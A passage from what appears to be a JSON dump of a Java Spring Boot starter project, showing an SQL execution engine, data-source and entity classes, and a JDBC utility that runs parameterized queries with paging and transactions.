(!sqlMap.get(namespace).containsKey(sqlId)) {\n                    throw new RuntimeException(\"sqlId not found : \" + sqlId);\n                } else {\n                    ApiSql sql = this.sqlMap.get(namespace).get(sqlId);\n                    if (!dataSourceMap.containsKey(sql.getDatasourceId())) {\n                        throw new RuntimeException(\"datasource not found : \" + sql.getDatasourceId());\n                    }\n                    ApiDataSource dataSource = dataSourceMap.get(sql.getDatasourceId());\n                    SqlMeta sqlMeta = dynamicSqlEngine.parse(sql.getText(), data);\n\n                    return ApiEngine.executeUpdate(dataSource, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n                }\n            }\n        } catch (Exception e) {\n            throw new RuntimeException(e.getMessage());\n        }\n    }\n\n    /**\n     * execute insert/delete/update sql without parameters\n     *\n     * @param namespace name of xml file\n     * @param sqlId     sql id in <sql> tag\n     * @return\n     */\n    public int executeUpdate(String namespace, String sqlId) {\n        return executeUpdate(namespace, sqlId, null);\n    }\n\n    /**\n     * execute select/insert/delete/update sql with parameters\n     *\n     * @param namespace name of xml file\n     * @param sqlId     sql id in <sql> tag\n     * @param data      sql parameters\n     * @return\n     */\n    public Object execute(String namespace, String sqlId, Map<String, Object> data) {\n        try {\n            if (!sqlMap.containsKey(namespace)) {\n                throw new RuntimeException(\"namespace not found : \" + namespace);\n            } else {\n                if (!sqlMap.get(namespace).containsKey(sqlId)) {\n                    throw new RuntimeException(\"sqlId not found : \" + sqlId);\n                } else {\n                    ApiSql sql = this.sqlMap.get(namespace).get(sqlId);\n                    if (!dataSourceMap.containsKey(sql.getDatasourceId())) {\n                        throw new RuntimeException(\"datasource not found : \" + sql.getDatasourceId());\n                    }\n                    ApiDataSource dataSource = dataSourceMap.get(sql.getDatasourceId());\n                    SqlMeta sqlMeta = dynamicSqlEngine.parse(sql.getText(), data);\n\n                    return ApiEngine.execute(dataSource, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n                }\n            }\n        } catch (Exception e) {\n            throw new RuntimeException(e.getMessage());\n        }\n    }\n\n    /**\n     * execute select/insert/delete/update sql without parameters\n     *\n     * @param namespace name of xml file\n     * @param sqlId     sql id in <sql> tag\n     * @return\n     */\n    public Object execute(String namespace, String sqlId) {\n        return execute(namespace, sqlId, null);\n    }\n\n    public List<Object> executeWithinTransaction(List<SqlWithParam> sqlList) {\n        DruidPooledConnection connection = null;\n\n        try {\n            String namespace = sqlList.get(0).getNamespace();\n            connection = getConnection(namespace, sqlList.get(0).getSqlId());\n            connection.setAutoCommit(false);\n\n            if (!sqlMap.containsKey(namespace)) {\n                throw new RuntimeException(\"namespace not found : \" + namespace);\n            } else {\n                List<Object> result = new ArrayList<>();\n                for (int i = 0; i < sqlList.size(); i++) {\n                    String sqlId = sqlList.get(i).getSqlId();\n\n                    if (!sqlMap.get(namespace).containsKey(sqlId)) {\n                        throw new RuntimeException(\"sqlId not found : \" + sqlId);\n                    } else {\n                        ApiSql sql = this.sqlMap.get(namespace).get(sqlId);\n                        SqlMeta sqlMeta = dynamicSqlEngine.parse(sql.getText(), sqlList.get(i).getParameters());\n\n                        Object object = JdbcUtil.execute(connection, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n                        result.add(object);\n                    }\n                }\n                connection.commit();\n                return result;\n            }\n        } catch (Exception e) {\n            try {\n                connection.rollback();\n            } catch (SQLException ex) {\n                throw new RuntimeException(ex);\n            }\n            throw new RuntimeException(e.getMessage());\n        } finally {\n            try {\n                if (connection != null) connection.close();\n            } catch (SQLException e) {\n                throw new RuntimeException(e);\n            }\n        }\n    }\n\n    private DruidPooledConnection getConnection(String namespace, String sqlId) throws SQLException {\n\n\n        if (!sqlMap.containsKey(namespace)) {\n            throw new RuntimeException(\"namespace not found : \" + sqlId);\n        } else {\n            if (!sqlMap.get(namespace).containsKey(sqlId)) {\n                throw new RuntimeException(\"sqlId not found : \" + sqlId);\n            } else {\n                ApiSql sql = this.sqlMap.get(namespace).get(sqlId);\n                if (!dataSourceMap.containsKey(sql.getDatasourceId())) {\n                    throw new RuntimeException(\"datasource not found : \" + sql.getDatasourceId());\n                }\n                ApiDataSource dataSource = dataSourceMap.get(sql.getDatasourceId());\n                DruidPooledConnection connection = PoolManager.getPooledConnection(dataSource);\n                return connection;\n            }\n        }\n\n    }\n\n    // --------------------------------------------------------------------------------------------------------------\n    // --------------------------------------------------------------------------------------------------------------\n    // --------------------------------------------------------------------------------------------------------------\n\n    public static List<JSONObject> executeQuery(ApiDataSource datasource, String sql, List<Object> jdbcParamValues) {\n        DruidPooledConnection connection = null;\n        try {\n            connection = PoolManager.getPooledConnection(datasource);\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        return JdbcUtil.executeQuery(connection,sql,jdbcParamValues);\n    }\n\n    public static JSONObject executeQueryById(ApiDataSource datasource, String sql, List<Object> jdbcParamValues) {\n        DruidPooledConnection connection = null;\n        try {\n            connection = PoolManager.getPooledConnection(datasource);\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        return JdbcUtil.executeQueryById(connection,sql,jdbcParamValues);\n    }\n    public static Long executeQueryInt(ApiDataSource datasource, String sql, List<Object> jdbcParamValues) {\n        Object obj = executeQueryOneColumn(datasource, sql, jdbcParamValues);\n        if(obj instanceof Long){\n            return (Long) obj;\n        }else{\n            return Long.valueOf(String.valueOf(obj));\n        }\n    }\n\n    public static String executeQueryString(ApiDataSource datasource, String sql, List<Object> jdbcParamValues) {\n        Object obj = executeQueryOneColumn(datasource, sql, jdbcParamValues);\n        return (String) obj;\n    }\n\n    public static Object executeQueryOneColumn(ApiDataSource datasource, String sql, List<Object> jdbcParamValues) {\n        DruidPooledConnection connection = null;\n        try {\n            connection = PoolManager.getPooledConnection(datasource);\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        return JdbcUtil.executeQueryOneColumn(connection,sql,jdbcParamValues);\n    }\n\n    public static int executeUpdate(ApiDataSource datasource, String sql, List<Object> jdbcParamValues) {\n        DruidPooledConnection connection = null;\n        try {\n            connection = PoolManager.getPooledConnection(datasource);\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        return JdbcUtil.executeUpdate(connection,sql,jdbcParamValues);\n    }\n\n    public static Object execute(ApiDataSource datasource, String sql, List<Object> jdbcParamValues) {\n        DruidPooledConnection connection = null;\n        try {\n            connection = PoolManager.getPooledConnection(datasource);\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        return JdbcUtil.execute(connection,sql,jdbcParamValues);\n    }\n\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/sql/ApiEngineConfiguration.java",
    "content": "package io.github.wujun728.sql;\n\nimport io.github.wujun728.sql.entity.DBConfig;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\n@Configuration\n@EnableConfigurationProperties(DBConfig.class)\npublic class ApiEngineConfiguration {\n\n    private final DBConfig dbConfig;\n\n    public ApiEngineConfiguration(DBConfig config) {\n        this.dbConfig = config;\n    }\n\n    @Bean\n    @ConditionalOnMissingBean(ApiEngine.class)\n    public ApiEngine Engine() {\n        return new ApiEngine(dbConfig);\n    }\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/sql/entity/ApiConfig.java",
    "content": "package io.github.wujun728.sql.entity;\n\nimport lombok.Data;\n\nimport java.util.List;\n\n@Data\npublic class ApiConfig {\n\t\n    private Integer id;\n    private Integer pid;\n    private String path;\n    private String name;\n    private String method;\n    private String params;\n    private String beanName;\n//    private String className;\n    private String datasourceId;\n    private String scriptType;\n//    private String BeanType;\n    private String scriptContent;\n//    private String groovyContent;\n    private String status;\n    private Integer sort;\n    private String extendInfo;\n    private Integer openTrans;\n    private String resutltParams;\n    private String creator;\n    private String createdTime;\n    private String updateTime;\n    private String lastUpdate;\n\n    List<ApiSql> sqlList;\n    String cachePlugin;\n    String contentType;\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/sql/entity/ApiDataSource.java",
    "content": "package io.github.wujun728.sql.entity;\n\nimport lombok.Data;\n\n@Data\npublic class ApiDataSource {\n\n    String id;\n    String url;\n    String username;\n    String password;\n    String driver;\n    String type;\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/sql/entity/ApiSql.java",
    "content": "package io.github.wujun728.sql.entity;\n\nimport com.alibaba.fastjson2.annotation.JSONField;\nimport lombok.Data;\n\n@Data\npublic class ApiSql {\n\n    String id;\n    String group;\n    String path;\n    String text;\n    String type;\n    @JSONField(name = \"datasourceId\")\n    String datasourceId;\n    String before;\n    String after;\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/sql/entity/DBConfig.java",
    "content": "package io.github.wujun728.sql.entity;\n\nimport org.springframework.boot.context.properties.ConfigurationProperties;\n\n@ConfigurationProperties(\"apisql.config\")\npublic class DBConfig {\n    String sql;\n\n    String datasource;\n\n    public String getSql() {\n        if(sql!=null){\n            return sql;\n        }else{\n            return \"classpath:sql/*.xml\";\n        }\n    }\n\n    public void setSql(String sql) {\n        this.sql = sql;\n    }\n\n    public String getDatasource() {\n        if(datasource!=null){\n            return datasource;\n        }else{\n            return \"classpath:ds.xml\";\n        }\n    }\n\n    public void setDatasource(String datasource) {\n        this.datasource = datasource;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/sql/entity/Page.java",
    "content": "package io.github.wujun728.sql.entity;\n\n/**\n * 分页对象\n */\n\nimport lombok.Data;\n\nimport java.io.Serializable;\nimport java.util.List;\n\n/**\n * Page is the result of  Db.paginate(......)\n */\n@Data\npublic class Page<T> implements Serializable {\n\n\tprivate static final long serialVersionUID = -5395997221963176643L;\n\n\tprivate List<T> list;\t\t\t\t// list result of this page\n\tprivate int pageNumber;\t\t\t\t// page number\n\tprivate int pageSize;\t\t\t\t// result amount of this page\n\tprivate int totalPage;\t\t\t\t// total page\n\tprivate int totalRow;\t\t\t\t// total row\n\n\t/**\n\t * Constructor.\n\t * @param list the list of paginate result\n\t * @param pageNumber the page number\n\t * @param pageSize the page size\n\t * @param totalPage the total page of paginate\n\t * @param totalRow the total row of paginate\n\t */\n\tpublic Page(List<T> list, int pageNumber, int pageSize, int totalPage, int totalRow) {\n\t\tthis.list = list;\n\t\tthis.pageNumber = pageNumber;\n\t\tthis.pageSize = pageSize;\n\t\tthis.totalPage = totalPage;\n\t\tthis.totalRow = totalRow;\n\t}\n\tpublic Page() {\n\t}\n\n\t/**\n\t * Return list of this page.\n\t */\n\tpublic List<T> getList() {\n\t\treturn list;\n\t}\n\n\t/**\n\t * Return page number.\n\t */\n\tpublic int getPageNumber() {\n\t\treturn pageNumber;\n\t}\n\n\t/**\n\t * Return page size.\n\t */\n\tpublic int getPageSize() {\n\t\treturn pageSize;\n\t}\n\n\t/**\n\t * Return total page.\n\t */\n\tpublic int getTotalPage() {\n\t\treturn totalPage;\n\t}\n\n\t/**\n\t * Return total row.\n\t */\n\tpublic int getTotalRow() {\n\t\treturn totalRow;\n\t}\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/sql/entity/Result.java",
    "content": "package io.github.wujun728.sql.entity;\n\n\nimport java.util.HashMap;\n\n/**\n * 返回对象\n *\n * @author wujun\n */\npublic class Result extends HashMap<String, Object>\n{\n    private static final long serialVersionUID = 1L;\n\n    /** 状态码 */\n    public static final String CODE_TAG = \"code\";\n\n    /** amis兼容状态码（status=0表示成功，与code同步） */\n    public static final String STATUS_TAG = \"status\";\n\n    /** 返回内容 */\n    public static final String MSG_TAG = \"msg\";\n\n    /** 数据对象 */\n    public static final String DATA_TAG = \"data\";\n\n    private Boolean success = true;\n\n    public Boolean getSuccess() {\n        return success;\n    }\n\n    public Result setSuccess(Boolean success) {\n        this.success = success;\n        return this;\n    }\n\n\n\n    /**\n     * 初始化一个新创建的 AjaxResult 对象，使其表示一个空消息。\n     */\n    public Result()\n    {\n    }\n\n    /**\n     * 初始化一个新创建的 AjaxResult 对象\n     * \n     * @param code 状态码\n     * @param msg 返回内容\n     */\n    public Result(int code, String msg)\n    {\n        super.put(CODE_TAG, code);\n        super.put(STATUS_TAG, code);\n        super.put(MSG_TAG, msg);\n    }\n\n    /**\n     * 初始化一个新创建的 AjaxResult 对象\n     * \n     * @param code 状态码\n     * @param msg 返回内容\n     * @param data 数据对象\n     */\n    public Result(int code, String msg, Object data)\n    {\n        super.put(CODE_TAG, code);\n        super.put(STATUS_TAG, code);\n        super.put(MSG_TAG, msg);\n        super.put(DATA_TAG, data);\n    }\n\n    public static Result getResult(int i, String s) {\n        return Result.error(i,s);\n    }\n\n    /*public static Result getResult(RespCodeMsg systemRedisBusy) {\n        return Result.error(systemRedisBusy.getCode(),systemRedisBusy.getMsg());\n    }*/\n\n    /**\n     * 方便链式调用\n     *\n     * @param key\n     * @param value\n     * @return\n     */\n    @Override\n    public Result put(String key, Object value)\n    {\n        super.put(key, value);\n        return this;\n    }\n\n    /**\n     * 返回成功消息\n     * \n     * @return 成功消息\n     */\n    public static Result success()\n    {\n        return Result.success(\"success\");\n    }\n    public static Result ok()\n    {\n        return Result.success(\"success\");\n    }\n\n    /**\n     * 返回成功数据\n     * \n     * @return 成功消息\n     */\n    public static Result ok(Object data)\n    {\n        return Result.success(\"success\", data);\n    }\n    public static Result success(Object data)\n    {\n        return Result.success(\"success\", data);\n    }\n\n    /**\n     * 返回成功消息\n     * \n     * @param msg 返回内容\n     * @param data 数据对象\n     * @return 成功消息\n     */\n    public static Result success(String msg, Object data)\n    {\n        return new Result(0, msg, data);\n    }\n    public static Result success(int code, String msg, Object data)\n    {\n        return new Result(code, msg, data);\n    }\n\n    /**\n     * 返回错误消息\n     * \n     * @return\n     */\n    public static Result fail()\n    {\n        return Result.error(\"fail\").setSuccess(false);\n    }\n    public static Result error()\n    {\n        return Result.error(\"fail\").setSuccess(false);\n    }\n\n    /**\n     * 返回错误消息\n     * \n     * @param msg 返回内容\n     * @return 警告消息\n     */\n    public static Result fail(String msg)\n    {\n        return Result.error(msg, null).setSuccess(false);\n    }\n    public static Result error(String msg)\n    {\n        return Result.error(msg, null).setSuccess(false);\n    }\n\n    /**\n     * 返回错误消息\n     * \n     * @param msg 返回内容\n     * @param data 数据对象\n     * @return 警告消息\n     */\n    public static Result error(String msg, Object data)\n    {\n        return new Result(500, msg, data).setSuccess(false);\n    }\n\n    /**\n     * 返回错误消息\n     * \n     * @param code 状态码\n     * @param msg 返回内容\n     * @return 警告消息\n     */\n    public static Result error(int code, String msg)\n    {\n        return new Result(code, msg, null).setSuccess(false);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/sql/entity/SqlWithParam.java",
    "content": "package io.github.wujun728.sql.entity;\n\nimport lombok.Data;\nimport lombok.experimental.Accessors;\n\nimport java.util.Map;\n\n@Data\n@Accessors(chain = true)\npublic class SqlWithParam {\n\n    private String namespace;\n    private String sqlId;\n    private Map<String, Object> parameters;\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/sql/utils/JdbcUtil.java",
    "content": "package io.github.wujun728.sql.utils;\n\nimport cn.hutool.json.JSONObject;\nimport cn.hutool.log.StaticLog;\nimport io.github.wujun728.db.record.Page;\nimport io.github.wujun728.sql.SqlMeta;\nimport io.github.wujun728.sql.engine.DynamicSqlEngine;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.atomic.AtomicReference;\n\npublic class JdbcUtil {\n\n    static DynamicSqlEngine engine = new DynamicSqlEngine();\n    //DynamicSqlEngine dynamicSqlEngine = new DynamicSqlEngine();\n\n    public static DynamicSqlEngine getEngine() {\n        return engine;\n    }\n\n    private static Logger logger = LoggerFactory.getLogger(JdbcUtil.class);\n\n\n    public static List<JSONObject> executeQuery(Connection connection, String sql, List<Object> jdbcParamValues) {\n        logger.debug(sql);\n        //DruidPooledConnection connection = null;\n        try {\n            //connection = PoolManager.getPooledConnection(datasource);\n            connection.setAutoCommit(true);\n            PreparedStatement statement = connection.prepareStatement(sql);\n            //参数注入\n            for (int i = 1; i <= jdbcParamValues.size(); i++) {\n                statement.setObject(i, jdbcParamValues.get(i - 1));\n            }\n            ResultSet rs = statement.executeQuery();\n            int columnCount = rs.getMetaData().getColumnCount();\n            List<String> columns = new ArrayList<>();\n            for (int i = 1; i <= columnCount; i++) {\n                String columnName = rs.getMetaData().getColumnLabel(i);\n                columns.add(columnName);\n            }\n            List list = new ArrayList();\n            while (rs.next()) {\n                JSONObject jo = new JSONObject();\n                columns.stream().forEach(t -> {\n                    try {\n                        Object value = rs.getObject(t);\n                        jo.put(t, value);\n                    } catch (SQLException throwables) {\n                        throwables.printStackTrace();\n                    }\n                });\n                list.add(jo);\n            }\n            return list;\n\n        } catch (Exception e) {\n            e.printStackTrace();\n            throw new RuntimeException(e);\n        } finally {\n            try {\n                connection.close();\n            } catch (SQLException throwables) {\n                throwables.printStackTrace();\n            }\n        }\n    }\n\n\n    public static JSONObject executeQueryById(Connection connection, String sql, List<Object> jdbcParamValues) {\n        logger.debug(sql);\n        //DruidPooledConnection connection = null;\n        try {\n\n            //connection = PoolManager.getPooledConnection(datasource);\n            connection.setAutoCommit(true);\n            PreparedStatement statement = connection.prepareStatement(sql);\n            //参数注入\n            for (int i = 1; i <= jdbcParamValues.size(); i++) {\n                statement.setObject(i, jdbcParamValues.get(i - 1));\n            }\n            ResultSet rs = statement.executeQuery();\n            int columnCount = rs.getMetaData().getColumnCount();\n            List<String> columns = new ArrayList<>();\n            for (int i = 1; i <= columnCount; i++) {\n                String columnName = rs.getMetaData().getColumnLabel(i);\n                columns.add(columnName);\n            }\n            List<JSONObject> list = new ArrayList();\n            while (rs.next()) {\n                JSONObject jo = new JSONObject();\n                columns.stream().forEach(t -> {\n                    try {\n                        Object value = rs.getObject(t);\n                        jo.put(t, value);\n                    } catch (SQLException throwables) {\n                        throwables.printStackTrace();\n                    }\n                });\n                list.add(jo);\n            }\n            if(list.size()>0){\n                StaticLog.info(\"当前查询到{}条数据\",list.size());\n                return list.get(0);\n            }else{\n                return null;\n            }\n\n        } catch (Exception e) {\n            e.printStackTrace();\n            throw new RuntimeException(e);\n        } finally {\n            try {\n                connection.close();\n            } catch (SQLException throwables) {\n                throwables.printStackTrace();\n            }\n        }\n    }\n\n    public static Long executeQueryInt(Connection connection, String sql, List<Object> jdbcParamValues) {\n        try {\n            Object obj = executeQueryOneColumn(connection, sql, jdbcParamValues);\n            if(obj instanceof Long){\n                return (Long) obj;\n            }else{\n                return Long.valueOf(String.valueOf(obj));\n            }\n        } catch (Exception e) {\n            throw new RuntimeException(e);\n        }  finally {\n            try {\n                connection.close();\n            } catch (SQLException throwables) {\n                throwables.printStackTrace();\n            }\n        }\n    }\n\n    public static String executeQueryString(Connection connection, String sql, List<Object> jdbcParamValues) {\n        Object obj = null;\n        try {\n            obj = executeQueryOneColumn(connection, sql, jdbcParamValues);\n        } catch (Exception e) {\n            throw new RuntimeException(e);\n        }  finally {\n            try {\n                connection.close();\n            } catch (SQLException throwables) {\n                throwables.printStackTrace();\n            }\n        }\n        return (String) obj;\n    }\n\n\n\n    public static Object executeQueryOneColumn(Connection connection, String sql, List<Object> jdbcParamValues) {\n        logger.debug(sql);\n        //DruidPooledConnection connection = null;\n        try {\n            //connection = PoolManager.getPooledConnection(datasource);\n            connection.setAutoCommit(true);\n            PreparedStatement statement = connection.prepareStatement(sql);\n            //参数注入\n            for (int i = 1; i <= jdbcParamValues.size(); i++) {\n                statement.setObject(i, jdbcParamValues.get(i - 1));\n            }\n\n            ResultSet rs = statement.executeQuery();\n            int columnCount = rs.getMetaData().getColumnCount();\n            List<String> columns = new ArrayList<>();\n            for (int i = 1; i <= columnCount; i++) {\n                String columnName = rs.getMetaData().getColumnLabel(i);\n                columns.add(columnName);\n            }\n            if(columnCount>1){\n                throw new RuntimeException(\" only allow one column \");\n            }\n            AtomicReference count = new AtomicReference();\n            while (rs.next()) {\n                columns.stream().forEach(t -> {\n                    try {\n                        count.set(rs.getObject(t));\n                    } catch (SQLException throwables) {\n                        throwables.printStackTrace();\n                    }\n                });\n                StaticLog.info(\"当前查询到的count数据{}\",count.get());\n                return count.get();\n            }\n            return count.get();\n        } catch (Exception e) {\n            e.printStackTrace();\n            throw new RuntimeException(e);\n        } finally {\n            try {\n                connection.close();\n            } catch (SQLException throwables) {\n                throwables.printStackTrace();\n            }\n        }\n    }\n\n\n    public static int executeUpdate(Connection connection, String sql, List<Object> jdbcParamValues) {\n        logger.debug(sql);\n        //DruidPooledConnection connection = null;\n        try {\n            //connection = PoolManager.getPooledConnection(datasource);\n            connection.setAutoCommit(true);\n            PreparedStatement statement = connection.prepareStatement(sql);\n            //参数注入\n            for (int i = 1; i <= jdbcParamValues.size(); i++) {\n                statement.setObject(i, jdbcParamValues.get(i - 1));\n            }\n            int i = statement.executeUpdate();\n            return i;\n        } catch (Exception e) {\n            throw new RuntimeException(e);\n        } finally {\n            try {\n                connection.close();\n            } catch (SQLException throwables) {\n                throwables.printStackTrace();\n            }\n        }\n    }\n\n\n\n    public static Object execute(Connection connection, String sql, List<Object> jdbcParamValues) {\n        logger.debug(sql);\n        //DruidPooledConnection connection = null;\n        try {\n            //connection = PoolManager.getPooledConnection(datasource);\n            connection.setAutoCommit(true);\n            PreparedStatement statement = connection.prepareStatement(sql);\n            //参数注入\n            for (int i = 1; i <= jdbcParamValues.size(); i++) {\n                statement.setObject(i, jdbcParamValues.get(i - 1));\n            }\n            boolean hasResultSet = statement.execute();\n            if (hasResultSet) {\n                ResultSet rs = statement.getResultSet();\n                int columnCount = rs.getMetaData().getColumnCount();\n\n                List<String> columns = new ArrayList<>();\n                for (int i = 1; i <= columnCount; i++) {\n                    String columnName = rs.getMetaData().getColumnLabel(i);\n                    columns.add(columnName);\n                }\n                List<JSONObject> list = new ArrayList<>();\n                while (rs.next()) {\n                    JSONObject jo = new JSONObject();\n                    columns.stream().forEach(t -> {\n                        try {\n                            Object value = rs.getObject(t);\n                            jo.put(t, value);\n                        } catch (SQLException throwables) {\n                            throwables.printStackTrace();\n                        }\n                    });\n                    list.add(jo);\n                }\n                return list;\n            } else {\n                int updateCount = statement.getUpdateCount();\n                return updateCount;\n            }\n        } catch (Exception e) {\n            throw new RuntimeException(e);\n        } finally {\n            try {\n                connection.close();\n            } catch (SQLException throwables) {\n                throwables.printStackTrace();\n            }\n        }\n\n\n    }\n\n\n    public static Page<JSONObject> executeQueryPage(Connection connection,String sqlStr, Map<String, Object> data, int pageNumber, int limit) {\n        logger.debug(sqlStr);\n        Page pageVo = new Page();\n//        ApiSql sql = this.sqlMap.get(namespace).get(sqlId);\n//        if (!dataSourceMap.containsKey(sql.getDatasourceId())) {\n//            throw new RuntimeException(\"datasource not found : \" + sql.getDatasourceId());\n//        }\n        try {\n            data.put(\"start\",(pageNumber-1)*(limit));\n            data.put(\"end\",pageNumber*limit);\n//        ApiDataSource dataSource = dataSourceMap.get(sql.getDatasourceId());\n            String pageSql = sqlStr+ \" LIMIT #{start}, #{end} \";\n            logger.debug(pageSql);\n            SqlMeta sqlMeta = engine.parse(pageSql, data);\n            List<JSONObject> results = JdbcUtil.executeQuery(connection, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());//executeQuery(namespace, sqlId, data);\n\n            String totalSql = \"  select count(1) as count FROM ( \"+sqlStr+\" ) AS subquery \";\n            logger.debug(totalSql);\n            SqlMeta sqlMeta2 = engine.parse(totalSql, data);\n\n            Long totalpage = JdbcUtil.executeQueryInt(connection, sqlMeta2.getSql(), sqlMeta2.getJdbcParamValues());\n            pageVo.setList(results);\n            pageVo.setTotalRow(Math.toIntExact(totalpage));\n            pageVo.setPageNumber(pageNumber);\n            pageVo.setPageSize(limit);\n            pageVo.setTotalPage(Math.toIntExact(totalpage) / limit);\n        } catch (Exception e) {\n            throw new RuntimeException(e);\n        }  finally {\n            try {\n                connection.close();\n            } catch (SQLException throwables) {\n                throwables.printStackTrace();\n            }\n        }\n        return pageVo;\n    }\n\n    //** 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111\n    //** 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111\n    //** 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111\n\n    /**\n     * 1、查询返回List<JSONObject>\n     * 2、新增、修改、删除返回int，成功条数。\n     * 3、连接没有关闭，需要在调用方关闭\n     * @param connection\n     * @param sql\n     * @return\n     */\n    public static Object executeSql(Connection connection, String sql, Map<String, Object> sqlParam,Boolean closeConn) throws SQLException {\n        Object obj = null;\n        try {\n            obj = executeSql(connection,sql,sqlParam);\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }  finally {\n            try {\n                connection.close();\n            } catch (SQLException throwables) {\n                throwables.printStackTrace();\n            }\n        }\n        return obj;\n    }\n    public static Object executeSql(Connection connection, String sql, Map<String, Object> sqlParam) throws SQLException {\n        SqlMeta sqlMeta = JdbcUtil.getEngine().parse(sql, sqlParam);\n        return JdbcUtil.executeSql(connection, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n    }\n    public static Object executeSql(Connection connection, String sql, List<Object> jdbcParamValues)\n            throws SQLException {\n//\t\tlog.debug(JSON.toJSONString(jdbcParamValues));\n        try {\n            System.out.println(\"execute sql is \"+sql);\n            PreparedStatement statement = connection.prepareStatement(sql);\n            // 参数注入\n            for (int i = 1; i <= jdbcParamValues.size(); i++) {\n                statement.setObject(i, jdbcParamValues.get(i - 1));\n            }\n            boolean hasResultSet = statement.execute();\n\n            if (hasResultSet) {\n                ResultSet rs = statement.getResultSet();\n                int columnCount = rs.getMetaData().getColumnCount();\n\n                List<String> columns = new ArrayList<>();\n                for (int i = 1; i <= columnCount; i++) {\n                    String columnName = rs.getMetaData().getColumnLabel(i);\n                    columns.add(columnName);\n                }\n                List<cn.hutool.json.JSONObject> list = new ArrayList<>();\n                while (rs.next()) {\n                    cn.hutool.json.JSONObject jo = new cn.hutool.json.JSONObject();\n                    columns.stream().forEach(t -> {\n                        try {\n                            Object value = rs.getObject(t);\n                            jo.put(t, value);\n                            if(value==null) {\n                                jo.put(t, \"\");\n                            }\n                        } catch (SQLException throwables) {\n                            throwables.printStackTrace();\n                        }\n                    });\n                    list.add(jo);\n                }\n                return list;\n            } else {\n                int updateCount = statement.getUpdateCount();\n                System.out.println(\"[\"+updateCount + \"] rows affected\");\n                return updateCount;\n            }\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        } finally {\n            try {\n                connection.close();\n            } catch (SQLException throwables) {\n                throwables.printStackTrace();\n            }\n        }\n    }\n\n    public static int update(Connection connection, String sql, Map<String, Object> sqlParam) throws SQLException {\n        SqlMeta sqlMeta = JdbcUtil.getEngine().parse(sql, sqlParam);\n        return JdbcUtil.update(connection, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n    }\n    public static int update(Connection connection, String sql, List<Object> jdbcParamValues) throws SQLException {\n//\t\tlog.debug(JSON.toJSONString(jdbcParamValues));\n        try {\n            System.out.println(\"execute sql is \"+sql);\n            PreparedStatement statement = connection.prepareStatement(sql);\n            // 参数注入\n            for (int i = 1; i <= jdbcParamValues.size(); i++) {\n                statement.setObject(i, jdbcParamValues.get(i - 1));\n            }\n            boolean hasResultSet = statement.execute();\n\n            if (hasResultSet) {\n                throw new RuntimeException(\"查询脚本调用query方法\");\n            } else {\n                int updateCount = statement.getUpdateCount();\n                System.out.println(\"[\"+updateCount + \"] rows affected\");\n                return updateCount;\n            }\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        } catch (RuntimeException e) {\n            throw new RuntimeException(e);\n        } finally {\n            connection.close();\n        }\n    }\n\n    public static Long count(Connection connection, String sql, Map<String, Object> sqlParam) throws SQLException {\n        try {\n            SqlMeta sqlMeta = JdbcUtil.getEngine().parse(sql, sqlParam);\n            List<Map<String,Object>> datas =  JdbcUtil.query(connection, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n            if(datas.size()==1){\n                try {\n                    Map<String,Object> data = datas.get(0);\n                    for(String key: data.keySet()){\n                        Object val = data.get(key);\n                        return (Long) val;\n                    }\n                } catch (Exception e) {\n                    throw new RuntimeException(\"count脚本执行返回有误\");\n                }\n            }\n            if(datas.size()>1){\n                throw new RuntimeException(\"count脚本执行返回多条\");\n            }\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        } catch (RuntimeException e) {\n            throw new RuntimeException(e);\n        }  finally {\n            try {\n                connection.close();\n            } catch (SQLException throwables) {\n                throwables.printStackTrace();\n            }\n        }\n        return 0L;\n    }\n    public static List<Map<String,Object>> query(Connection connection, String sql, Map<String, Object> sqlParam) throws SQLException {\n        SqlMeta sqlMeta = JdbcUtil.getEngine().parse(sql, sqlParam);\n        return JdbcUtil.query(connection, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n    }\n    public static List<Map<String,Object>> query(Connection connection, String sql, List<Object> jdbcParamValues)\n            throws 